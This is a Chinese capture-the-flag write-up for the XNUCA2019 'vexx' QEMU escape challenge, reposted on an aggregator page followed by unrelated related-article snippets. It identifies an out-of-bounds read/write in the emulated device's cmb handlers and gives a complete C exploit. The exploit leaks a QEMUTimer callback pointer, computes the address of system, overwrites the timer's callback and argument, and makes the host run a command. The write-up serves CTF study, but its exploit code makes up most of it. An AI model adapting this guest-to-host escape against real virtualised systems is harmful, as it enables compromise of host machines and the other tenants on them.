[qemu逃逸] XNUCA2019-vexx

前言

这题没有去符合, 题目本身不算难.

用户名: root

密码: goodluck

设备逆向

题目没有去符合, 所以其实没啥好讲了, 就列一些笔者认为关键的地方

这里的定义了两块 mmio 内存区. 然后看下设备实例结构体:

可以看到 QEMUTimer, 所以多半就是劫持 dma_timer 了.

漏洞点在 cmb_read/cmb_write 中: 这里仅仅分析 vexx_cmb_write

在实例结构体中 req_buf 的大小为 0x100, 而 addr = offset + addr, 这里只检查了之前的 addr <= 0x100, 但是没有检查 offset+addr 是否越界, 而在 vexx_ioport_write 中是可以控制 offset 的, 从而导致越界写.

 同理 vexx_cmb_read 存在越界读

漏洞利用

其实就很简单了直接劫持 QEMUTimer 就行了

exp 如下: 注: 经过测试 pmio 一次只能写一个字节

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/io.h>
#include <sys/mman.h>

uint64_t mmio_addr = 0x00000000febd6000;
uint64_t mmio_size = 0x1000;
uint64_t cmb_addr  = 0x00000000febd0000;
uint64_t cmb_size  = 0x4000;

void * mmio_base;
void * cmb_base;
uint64_t pmio_base = 0x230;

void mmio_init()
{
        int fd = open("/dev/mem", 2);
        mmio_base = mmap(0, mmio_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, mmio_addr);
        if (mmio_base < 0) puts("[X} mmio_init at mmio"), exit(EXIT_FAILURE);
        if (mlock(mmio_base, mmio_size) < 0) puts("[X] mlock at mmio"), exit(EXIT_FAILURE);
        cmb_base  = mmap(0, cmb_size , PROT_READ|PROT_WRITE, MAP_SHARED, fd, cmb_addr );
        if (cmb_base < 0)  puts("[X] mmio_init at cmb"), exit(EXIT_FAILURE);
        if (mlock(cmb_base, cmb_size) < 0) puts("[X] mlock at cmb"), exit(EXIT_FAILURE);
        printf("[+] mmio_base: %#p\n", mmio_base);
        printf("[+] cmb_base: %#p\n", cmb_base);
}

uint32_t mmio_read(uint64_t offset)
{
        return *(uint32_t*)(mmio_base + offset);
}

void mmio_write(uint64_t offset, uint64_t val)
{
        *(uint64_t*)(mmio_base + offset) = val;
}

uint32_t cmb_read(uint64_t offset)
{
        return *(uint32_t*)(cmb_base + offset);
}

void cmb_write(uint64_t offset, uint32_t val)
{
        *(uint32_t*)(cmb_base + offset) = val;
}

void pmio_init()
{
        if (iopl(3) < 0) puts("[X] pmio_init"), exit(EXIT_FAILURE);
}

uint32_t pmio_read(uint32_t addr)
{
        return inl(pmio_base + (addr - 0x230));
}

void pmio_writel(uint32_t addr, uint32_t val)
{
        outl(val, pmio_base + (addr - 0x230));
}

void pmio_writew(uint32_t addr, uint32_t val)
{
        outw(val, pmio_base + (addr - 0x230));
}

void pmio_writeb(uint32_t addr, uint32_t val)
{
        outb(val, pmio_base + (addr - 0x230));
}

int main(int argc, char** argv, char** envp)
{
        mmio_init();
        pmio_init();
        /*
        puts("[+] outl");
        pmio_writel(0x240, 0x38);
        puts("[+] outw");
        pmio_writew(0x240, 0x38);
        */
        puts("[+] outb");
        pmio_writeb(0x240, 0x38);
        pmio_writeb(0x230, 1);
        uint64_t cb_addr = cmb_read(0x100);
        printf("[+] cb_addr: %#llx\n", cb_addr);
        pmio_writeb(0x240, 0x3c);
        pmio_writeb(0x230, 1);
        cb_addr = cb_addr | ((1ULL * cmb_read(0x100)) << 32);
        uint64_t system_plt = cb_addr - 0x00000000004DCF10 + 0x00000000002AB860;
        printf("[+] cb_addr: %#llx\n", cb_addr);
        printf("[+] system@plt: %#llx\n", system_plt);

        pmio_writeb(0x240, 0x40);
        pmio_writeb(0x230, 1);
        uint64_t arg_addr = cmb_read(0x100);
        printf("[+] arg_addr: %#llx\n", arg_addr);
        pmio_writeb(0x240, 0x44);
        pmio_writeb(0x230, 1);
        arg_addr = arg_addr | ((1ULL * cmb_read(0x100)) << 32);
        uint64_t cmd_addr = arg_addr + 0xb90;
        printf("[+] arg_addr: %#llx\n", arg_addr);
        printf("[+] cmd_addr: %#llx\n", cmd_addr);

        pmio_writeb(0x240, 0x38);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, system_plt&0xffffffff);
        pmio_writeb(0x240, 0x3c);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, (system_plt>>32)&0xffffffff);

        pmio_writeb(0x240, 0x40);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, cmd_addr&0xffffffff);
        pmio_writeb(0x240, 0x44);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, (cmd_addr>>32)&0xffffffff);

        char cmd[8] = "xcalc";
        pmio_writeb(0x240, 0);
        pmio_writeb(0x230, 1);
        cmb_write(0, *(uint32_t*)&cmd[0]);
        pmio_writeb(0x240, 4);
        pmio_writeb(0x230, 1);
        cmb_write(0, *(uint32_t*)&cmd[4]);

        mmio_write(0x98, 1);

//      puts("[-] DEBUG");
//      pmio_writeb(0x240, 0x38);


        return 0;
}
x

 效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/167141.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【日常总结】java JSON 转 实体类 (含多层嵌套)

一、场景 二、问题 三、解决方案 四、实战 1. 引入maven依赖 2. IEDA 安装lombok 插件 3. 安装 GsonFormPlu 插件 4. 使用 Stage 1&#xff1a;新建类&#xff0c;右键 选择 Generate Stage 2&#xff1a;选择 GsonFormatPlus Stage 3&#xff1a;将json复制其中&…

Linux:详解(yum的使用、vim编辑器命令集合以及gcc/g++编译器的使用)

Linux 软件包管理器 yum 什么是软件包&#xff1a; 在Linux下安装软件, 一个通常的办法是下载到程序的源代码, 并进行编译, 得到可执行程序. 但是这样太麻烦了, 于是有些人把一些常用的软件提前编译好, 做成软件包(可以理解成windows上的安装程序)放在一个服务器上, 通…

图片地址GPS经纬度查询

先打开exif图片查询的网站&#xff1a; 改图宝的&#xff1a;https://www.gaitubao.com/exif图虫de的:EXIF信息查看器 (tuchong.com) 将这个地点&#xff1a;51 deg 30 51.90" N, 0 deg 5 38.73" W 修改为&#xff1a;5130 51.90" N, 05 38.73" W 到谷…

Java JSON字符串替换其中对应的值

代码&#xff1a; public static void main(String[] args) { // String theData crmScene.getData();String theData "[{\"type\":1,\"values\":[\"审批中\",\"未交付\"],\"name\":\"status\"}]"…

听懂未来:AI语音识别技术的进步与实战

目录 一、引言语音识别技术的魅力与挑战语音识别的基本概念技术的进步与应用实际应用的影响 二、语音识别技术的历史1. 初期探索&#xff08;1950s - 1970s&#xff09;早期的实验 2. 隐马尔可夫模型的兴起&#xff08;1980s&#xff09;算法创新 3. 深度神经网络的应用&#x…

php 时区查看和设置

php的时区&#xff0c;关系到相关时间函数的结果 其他相关&#xff1a; linux时区设置&#xff1a;链接 pgsql时区设置&#xff1a; 一、查看可以用的时区列表 新建一个php文件&#xff0c;输入下面程序即可 <?php echo "<pre>"; var_dump(timezone_id…

Linux系统编程 day03 Makefile、gdb、文件IO

Linux系统编程 day03 Makefile、gdb、文件IO 1. Makefile2. gdb3. 文件IO 1. Makefile Makefile文件中定义了一系列规则来指定哪些文件需要先编译&#xff0c;哪些文件需要后编译&#xff0c;哪些文件需要重新编译&#xff0c;甚至更加复杂的功能操作。Makefile就像一个shell脚…

阿里云ack集群升级流程

最近一直在升级过期的ack 集群版本 从1.22升级到1.24.。 参考&#xff1a; 升级流程、方式及所需时间

vue.js 短连接 动态连接

有这么一种场景&#xff0c;我们实现了某个业务&#xff0c;现在需要将这个业务连接对外推广以期实现我们的运营、推广、佣金目的&#xff0c;那么我们如何实现呢&#xff1f; 比如这个页面连接为&#xff1a; https://mp.domain.com/user/creation/editor?spm1&userno12…

如何使用 WPF 应用程序连接 FastReport报表

随着期待已久的FastReport WPF的发布&#xff0c;您不再需要使用 FastReport .NET 来处理基于 WPF 的项目。 不久前&#xff0c;在 FastReport .NET 中使用 WPF 还相当不方便。并非一切都进展顺利&#xff1b;连接 FastReport.dll 和许多其他问题存在问题。我们重新思考了该方…

Linux+qt:创建动态库so,以及如何使用(详细步骤)

目录 1、根据安装Qt Creator的向导进行创建 2、开发动态库注意的一些细节 3、给动态库添加一个对外开放的接口文件 4、了解下Qt的 .pri文件&#xff08;非常实用&#xff09; 5、如何调用动态库.so 1、根据安装Qt Creator的向导进行创建 &#xff08;1&#xff09;选择“…

15篇MyBatis-Plus系列集合篇「值得收藏学习」

历史文章&#xff08;文章累计490&#xff09; 《国内最全的Spring Boot系列之一》 《国内最全的Spring Boot系列之二》 《国内最全的Spring Boot系列之三》 《国内最全的Spring Boot系列之四》 《国内最全的Spring Boot系列之五》 《国内最全的Spring Boot系列之六》 M…

网络渗透测试(TCP/IP)理论篇

TCP/IP体系 垂直服务&#xff1a;底层为高层服务 TCP/IP体系结构是一个分层的协议体系&#xff0c;由多个层次组成&#xff0c;每个层次都负责不同的功能。以下是TCP/IP体系结构的主要层次&#xff1a; 物理层&#xff08;Physical Layer&#xff09;&#xff1a;该层负责传输…

milvus采坑一:启动服务就会挂掉

原因一 硬盘满了&#xff0c;Eric数据文件存储在硬盘上&#xff0c;当硬盘不足&#xff0c;它就会启动后就挂掉。 此时pymilvus连接一直是timeout。 解决方法&#xff1a;更换存储路径。

(十二)Flask重点之session

session 自我介绍&基本使用&#xff1a; 在Flask中&#xff0c;Session是一种用于在客户端和服务器之间存储和传输数据的机制。它允许您在用户与应用程序之间保持状态&#xff0c;并且可以存储和检索有关特定用户的信息。 Flask使用Werkzeug库提供的SecureCookie来实现S…

【活动回顾】ABeam News | 庆祝ABeam德硕与毕博中国战略合作十周年,关系再升级

国家会展中心 Date.2023.11.6 ​China International Import Expo 上周&#xff0c;ABeam作为毕博中国长期的战略合作伙伴&#xff0c;受邀出席了毕博中国在第六届进博会展台召开的战略合作十周年庆祝仪式。 本次战略合作庆祝仪式在进博会这个充满活力、创新与友谊的舞台举…

小红书软文种草怎么做,新产品上市软文创作技巧!

很多品牌有新品上市时都会借助软文传播来打开销路。因此&#xff0c;软文的质量几乎决定了新产品的营销结果。今天为大家分享下小红书软文种草怎么做&#xff0c;新产品上市软文创作技巧&#xff01; 一、新品上市软文撰写的三大重点 1、确定软文撰写角度 新品上市软文&#xf…

calibre更新 环境变量设置

我这里是从别的地方copy过来的calibre&#xff0c;所以不用安装。 如果需要安装请参考&#xff1a; Caibre2022.3_17版本安装及遇到问题 - 梅希的日志 - EETOP 创芯网论坛 (原名&#xff1a;电子顶级开发网) -将copy过来的calibre放在原来calibre的位置。 打开工作路径下的.b…
最新文章